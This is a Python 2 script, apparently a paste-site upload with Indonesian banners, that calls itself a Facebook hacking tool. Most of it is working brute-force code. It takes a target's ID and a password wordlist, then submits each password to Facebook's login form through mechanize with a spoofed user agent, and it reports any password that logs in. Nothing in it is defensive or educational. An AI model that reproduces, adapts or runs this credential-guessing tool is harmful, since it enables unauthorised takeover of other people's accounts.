Untitled
4 years ago in Python
#!usr
# -*- coding: UTF-8 -*-
# mod by: iqbalz noobs
# team: life of programmer
import os
import sys
import time
import random
import cookielib
import mechanize
wd = "\033[90;1m" # dark
GL = "\033[96;1m" # Blue aqua
BB = "\033[34;1m" # Blue light
YY = "\033[33;1m" # Yellow light
GG = "\033[32;1m" # Green light
WW = "\033[0;1m" # White light
RR = "\033[31;1m" # Red light
CC = "\033[36;1m" # Cyan light
B = "\033[34m" # Blue
Y = "\033[33;1m" # Yellow
G = "\033[32m" # Green
W = "\033[0;1m" # White
R = "\033[31m" # Red
C = "\033[36;1m" # Cyan
def runntxt(s):
for noobs in s + '\n':
sys.stdout.write(noobs)
sys.stdout.flush()
time.sleep(10. / 2100)
def banner():
os.system('clear')
print " "
runntxt(GL+" Assalamu'@laikum. ^_^")
runntxt(WW+' __________ __ ')
runntxt(GL+' \______ \_______ __ ___/ |_ ____ ')
runntxt(GG+' | | _/\_ __ \ | \ __\/ __ \ ')
runntxt(WW+' | | \ | | \/ | /| | \ ___/ ')
runntxt(GG+' |______ / |__| |____/ |__| \___ > ')
runntxt(Y+' \/ \/ ')
time.sleep(1.5)
print GG+" √=============================================√"
print GL+" |•••••• NEW TOOLS HACK FACEBOOK BF. ••••••|"
print GG+" √=============================================√"
print WW+" | MOD BY: IQBALZ NOOBS |"
print GL+" | Berdoa Dulu Sebelum Menggunakan |"
print WW+" | FACEBOOK: Iqbalznoobs |"
print Y+" | INSTAGRAM: IQBALZ5 |"
print GL+" |---------------------------------------------|"
print GL+" | LIFE OF PROGRAMMER [ L.O.P ] |"
print GL+" |---------------------------------------------|"
print GG+" √=============================================√"
print GL+" |••••••••• HACK FACEBOOK MAS ^_^ •••••••••|"
print GG+" √=============================================√"
banner()
print wd+" https://www.github.com/IqbalzNoobs "
print GG+"╭────\033[91m[\033[96m Masukkan ID\033[95m / \033[96mUsername Target\033[91m ] "
email_target = str(raw_input(GL+"\033[92m╰────➲\033[93m "))
print " "
print "\033[92m╭────\033[91m[ \033[96mMasukkan File Wordlist \033[95m( pass.txt ) \033[91;1m]"
password_list = str(raw_input(GG+"╰────➲\033[93m "))
login = 'https://www.facebook.com/login.php?login_attempt=1'
useragents = [('Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
# useragents = [('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',)]
def pil():
print GG+" "
g = str(raw_input("[?] Hack Fb lagi..\033[93;1m[y/n]: "))
if g == 'y' or g == 'Y':
os.system('python2 brute.py')
elif g == 'n' or g == 'N':
print wd+"Keluar dari program..."
sys.exit()
else:
print RR+"Pilih yang bener cuk..."
pil()
def edit_wordlist():
print GG+" "
ed = str(raw_input("[?] Edit wordlist cuk.? \033[96;1m[y/n]: "))
if ed == 'y' or ed == 'Y':
os.system('nano '+password_list)
pil()
elif ed == 'n' or ed == 'N':
print wd+"Keluar Dari Program..."
sys.exit()
else:
print RR+"Pilih yg bener cuk..."
edit_wordlist()
def main():
global noobs
noobs = mechanize.Browser()
cj = cookielib.LWPCookieJar()
noobs.set_handle_robots(False)
noobs.set_handle_redirect(True)
noobs.set_cookiejar(cj)
noobs.set_handle_equiv(True)
noobs.set_handle_referer(True)
noobs.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
runn_noobs()
life()
print " "
print RR+" wordlist tidak ada yg cocok..."
print " "
def iqbalz(iqbalz_password):
try:
sys.stdout.write(GG+"\n[\033[91m+\033[92m]\033[91;1m [\033[97m"+email_target+"\033[91m]\033[90m Mencoba ==> \033[91m[\033[90;1m"+iqbalz_password)
sys.stdout.flush()
noobs.addheaders = [('User-agent', random.choice(useragents))]
site = noobs.open(login)
noobs.select_form(nr = 0)
noobs.form['email'] = email_target
noobs.form['pass'] = iqbalz_password
tom = noobs.submit()
mask = tom.geturl()
if mask != login and (not 'login_attempt' in mask):
print " "
print ("\033[96m S U C C E S S")
print " P A S S W O R D F I N D "
print RR+"+-------------------------------------------+"
print (RR+"#\033[97m ID / Email Target:\033[92m {}").format(email_target)
print (RR+"#\033[97m Password Target:\033[92m {}").format(iqbalz_password)
print " "
raw_input(WW+"TEKAN ENTER UNTUK KELUAR...")
sys.exit(1)
except KeyboardInterrupt:
print wd+"Stop......."
edit_wordlist()
sys.exit()
def life():
global iqbalz_password
password_nob = open(password_list, "r")
for iqbalz_password in password_nob:
password_nob = iqbalz_password.replace("\n","")
iqbalz(iqbalz_password)
def runn_noobs():
global password_list
lop = GG+"""
`.-://////:-.`
.:+o+:-..````..-:+o+:.
`:o+-` `:+o:`
`/o:` `:o/`
-s/` .-..` `..--` `/s-
/o. `:.`.-:----------:-.``:- .o/
/o` .:` ` -- `o/
-s. .:` -- .s-
o/ .:` -- +o
.s- :. `:` -s`
.s. :. `:` .s.
.s- -- .: -s.
o/ `-. `-. /o
-s. `--` `.-` .s-
/o` ----``..--..` `...--.` `o/
/o. `----` `-. `-. .o/
-o: -....... .. `:o-
`:o:``....-- .. `:o:`
`:+/-` `- .. `-/+:`
`-/+///..````..://+/-`
`.-::////::-.` \033[91;1m
\033[90;1mLife Of Programmer\033[91;1m
Powered by:\033[97m Sanes Hack
"""
print lop
nuub = open(password_list, 'r')
nuub = nuub.readlines()
print wd+" [#] ID / Username Target\033[97;1m: {}".format(email_target)
print wd+" [#] JUmlah Password saat ini\033[97;1m:", len(nuub),'password'
print wd+" [#] Tunggu Proses Cracking\033[97;1m.........."
print " "
if __name__=='__main__':
main()